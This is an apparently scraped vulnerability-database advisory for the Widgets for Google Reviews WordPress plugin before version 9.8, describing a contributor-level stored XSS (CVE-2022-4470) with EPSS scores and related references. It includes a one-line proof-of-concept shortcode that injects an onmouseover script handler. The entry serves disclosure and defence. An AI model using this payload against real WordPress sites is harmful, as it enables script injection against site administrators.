Lucene search
Lana CodesWPEX-ID:7C4E51B3-87EF-4AFC-AB53-9A9BBDCFC9D7HistoryJan 05, 2023 - 12:00 a.m.
Widgets for Google Reviews < 9.8 - Contributor+ Stored XSS
2023-01-0500:00:00
Lana Codes
49
google reviews
contributor+
stored xss
shortcode
trustindex
widget
0.001 Low
EPSS
Percentile
23.5%
The plugin does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks which could be used against high privilege users such as admins.
Exploit shortcode:
[trustindex data-widget-id="' onmouseover='alert(1)' style='background:red;width:300px;height:300px;"]Related
cve
cve
CVE-2022-4470
2023-01-30 21:15:10
prion
prion
Cross site scripting
2023-01-30 21:15:00
nvd
nvd
CVE-2022-4470
2023-01-30 21:15:10
wpvulndb
wpvulndb
Widgets for Google Reviews < 9.8 - Contributor+ Stored XSS
2023-01-05 00:00:00
openvas
openvas
WordPress Widgets for Google Reviews Plugin < 9.8 XSS Vulnerability
2023-10-02 00:00:00
cvelist
cvelist
CVE-2022-4470 Widgets for Google Reviews < 9.8 - Contributor+ Stored XSS
2023-01-30 20:31:57